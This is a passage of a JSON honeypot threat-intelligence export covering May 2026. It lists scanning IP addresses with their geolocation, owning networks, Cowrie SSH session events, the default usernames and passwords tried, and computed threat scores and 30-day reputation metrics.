        "frequency": 21.5,
        "persistence": 9.2,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 11,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-12T12:40:01.245000+00:00",
        "last_seen_30d": "2026-05-22T22:30:01.309000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 34,
        "Cowrie": 22,
        "Dionaea": 13
      }
    },
    "66.132.224.226": {
      "attack_count": 16,
      "first_seen": "2026-05-13T17:35:39.051Z",
      "last_seen": "2026-05-16T02:40:36.716Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 24,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-08T21:02:01+00:00",
        "last_seen_30d": "2026-05-31T03:42:28.746000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 26,
        "Cowrie": 16,
        "CitrixHoneypot": 4,
        "H0neytr4p": 4,
        "Dicompot": 1
      }
    },
    "88.188.16.143": {
      "attack_count": 16,
      "first_seen": "2026-05-04T00:08:45.069Z",
      "last_seen": "2026-05-04T00:18:53.441Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Cergy",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:08:45.069000+00:00",
        "last_seen_30d": "2026-05-04T00:19:57.985000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "31.57.216.38": {
      "attack_count": 14,
      "first_seen": "2026-05-13T08:40:29.985Z",
      "last_seen": "2026-05-17T06:56:45.600Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "support"
      ],
      "passwords_attempted": [
        "456852",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T08:40:29.985000+00:00",
        "last_seen_30d": "2026-05-17T06:57:54.688000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "34.156.101.139": {
      "attack_count": 10,
      "first_seen": "2026-05-20T03:32:38.236Z",
      "last_seen": "2026-05-20T03:32:49.024Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:32:38.236000+00:00",
        "last_seen_30d": "2026-05-20T03:33:58.536000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "43.252.230.112": {
      "attack_count": 10,
      "first_seen": "2026-05-10T12:37:20.063Z",
      "last_seen": "2026-05-10T12:37:23.761Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T12:37:20.063000+00:00",
        "last_seen_30d": "2026-05-10T12:39:01.135000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "147.185.132.43": {
      "attack_count": 8,
      "first_seen": "2026-05-03T17:29:56.032Z",
      "last_seen": "2026-05-26T15:12:35.769Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 29,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T08:08:02+00:00",
        "last_seen_30d": "2026-05-30T21:40:36.188000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 18,
        "Cowrie": 8
      }
    },
    "20.193.153.215": {
      "attack_count": 7,
      "first_seen": "2026-05-26T14:15:45.132Z",
      "last_seen": "2026-05-26T14:37:56.703Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "ubuntu"
      ],
      "passwords_attempted": [
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T14:00:23.982000+00:00",
        "last_seen_30d": "2026-05-26T14:38:59.104000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 7
      }
    },
    "108.181.97.107": {
      "attack_count": 6,
      "first_seen": "2026-05-13T22:33:39.094Z",
      "last_seen": "2026-05-13T22:33:45.789Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T22:33:39.094000+00:00",
        "last_seen_30d": "2026-05-13T22:34:48.795000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "31.127.148.176": {
      "attack_count": 6,
      "first_seen": "2026-05-23T05:44:02.979Z",
      "last_seen": "2026-05-23T05:46:05.740Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Abbey Wood",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:44:02.979000+00:00",
        "last_seen_30d": "2026-05-23T05:56:59.495000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "64.227.151.136": {
      "attack_count": 6,
      "first_seen": "2026-05-12T11:01:18.674Z",
      "last_seen": "2026-05-12T11:01:18.957Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T10:56:28.647000+00:00",
        "last_seen_30d": "2026-05-12T11:02:27.923000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "88.238.12.175": {
      "attack_count": 6,
      "first_seen": "2026-05-23T21:24:35.529Z",
      "last_seen": "2026-05-23T21:30:37.937Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Trabzon",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:24:35.529000+00:00",
        "last_seen_30d": "2026-05-23T21:31:39.042000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "20.64.105.168": {
      "attack_count": 5,
      "first_seen": "2026-05-05T05:10:04.713Z",
      "last_seen": "2026-05-05T05:10:15.070Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 56.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.9,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T04:40:28+00:00",
        "last_seen_30d": "2026-05-26T03:27:04.602000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 6,
        "Cowrie": 5
      }
    },
    "5.255.98.151": {
      "attack_count": 5,
      "first_seen": "2026-05-23T01:20:40.982Z",
      "last_seen": "2026-05-23T01:20:53.984Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "support"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2023support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 60404,
      "as_org": "The Infrastructure Group B.V.",
      "threat_score": 60.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.5,
        "persistence": 12.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 280,
        "days_active_30d": 15,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-09T18:42:03+00:00",
        "last_seen_30d": "2026-05-23T01:21:55.403000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 195,
        "Honeytrap": 48,
        "H0neytr4p": 27,
        "Cowrie": 5,
        "Tanner": 3,
        "Dionaea": 2
      }
    },
    "103.112.214.112": {
      "attack_count": 4,
      "first_seen": "2026-05-22T01:50:30.259Z",
      "last_seen": "2026-05-22T02:07:12.759Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137172,
      "as_org": "ALL CONNECT NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:50:30.259000+00:00",
        "last_seen_30d": "2026-05-22T02:08:15.035000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "106.32.24.243": {
      "attack_count": 4,
      "first_seen": "2026-05-23T04:20:09.777Z",
      "last_seen": "2026-05-23T07:13:58.602Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:20:09.777000+00:00",
        "last_seen_30d": "2026-05-23T07:15:07.276000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "143.198.98.247": {
      "attack_count": 4,
      "first_seen": "2026-05-31T13:52:51.273Z",
      "last_seen": "2026-05-31T13:52:59.272Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-31T13:52:47+00:00",
        "last_seen_30d": "2026-05-31T13:54:06.603000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "18.208.181.202": {
      "attack_count": 4,
      "first_seen": "2026-05-03T00:56:27.189Z",
      "last_seen": "2026-05-03T00:56:31.195Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T00:56:27.189000+00:00",
        "last_seen_30d": "2026-05-12T01:01:33.031000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "198.235.24.38": {
      "attack_count": 4,
      "first_seen": "2026-05-10T16:13:22.472Z",
      "last_seen": "2026-05-10T16:13:25.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 29,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T21:18:13.793000+00:00",
        "last_seen_30d": "2026-05-30T03:43:35.133000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "ConPot": 20,
        "Honeytrap": 19,
        "Cowrie": 4,
        "Honeyaml": 1
      }
    },
    "3.82.191.76": {
      "attack_count": 4,
      "first_seen": "2026-05-02T00:53:09.250Z",
      "last_seen": "2026-05-02T00:53:13.762Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:53:09.250000+00:00",
        "last_seen_30d": "2026-05-19T01:02:28.499000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "3.91.176.195": {
      "attack_count": 4,
      "first_seen": "2026-05-20T00:58:11.850Z",
      "last_seen": "2026-05-20T00:58:17.908Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 51.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 17.5,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 21,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T00:52:38.908000+00:00",
        "last_seen_30d": "2026-05-23T01:01:54.967000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 4,
        "Honeytrap": 4,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "36.231.116.84": {
      "attack_count": 4,
      "first_seen": "2026-05-19T00:03:57.540Z",
      "last_seen": "2026-05-19T00:04:13.575Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:03:57.540000+00:00",
        "last_seen_30d": "2026-05-19T00:05:18.572000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "66.132.195.92": {
      "attack_count": 4,
      "first_seen": "2026-05-13T15:04:21.519Z",
      "last_seen": "2026-05-13T15:04:36.906Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 30,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:25:09+00:00",
        "last_seen_30d": "2026-05-31T13:48:41.160000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 126,
        "Honeytrap": 55,
        "Redishoneypot": 12,
        "ElasticPot": 11,
        "Cowrie": 4,
        "Honeyaml": 4,
        "Dionaea": 3
      }
    },
    "107.175.212.220": {
      "attack_count": 3,
      "first_seen": "2026-05-24T13:27:06.826Z",
      "last_seen": "2026-05-24T13:28:16.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:27:06.826000+00:00",
        "last_seen_30d": "2026-05-24T13:29:24.766000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "151.185.42.72": {
      "attack_count": 3,
      "first_seen": "2026-05-27T06:58:33.916Z",
      "last_seen": "2026-05-27T06:59:34.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 132420,
      "as_org": "282, Sector 19",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:58:33.916000+00:00",
        "last_seen_30d": "2026-05-27T07:00:41.371000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "39.97.54.189": {
      "attack_count": 3,
      "first_seen": "2026-05-31T13:47:36.066Z",
      "last_seen": "2026-05-31T13:49:36.070Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-21T19:15:42+00:00",
        "last_seen_30d": "2026-05-31T13:50:54.528000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "43.165.170.19": {
      "attack_count": 3,
      "first_seen": "2026-05-10T17:33:31.896Z",
      "last_seen": "2026-05-10T17:34:44.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T17:33:31.896000+00:00",
        "last_seen_30d": "2026-05-25T12:06:43.133000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "93.158.210.52": {
      "attack_count": 3,
      "first_seen": "2026-05-13T19:05:42.866Z",
      "last_seen": "2026-05-13T19:05:59.730Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 50673,
      "as_org": "Serverius Holding B.V.",
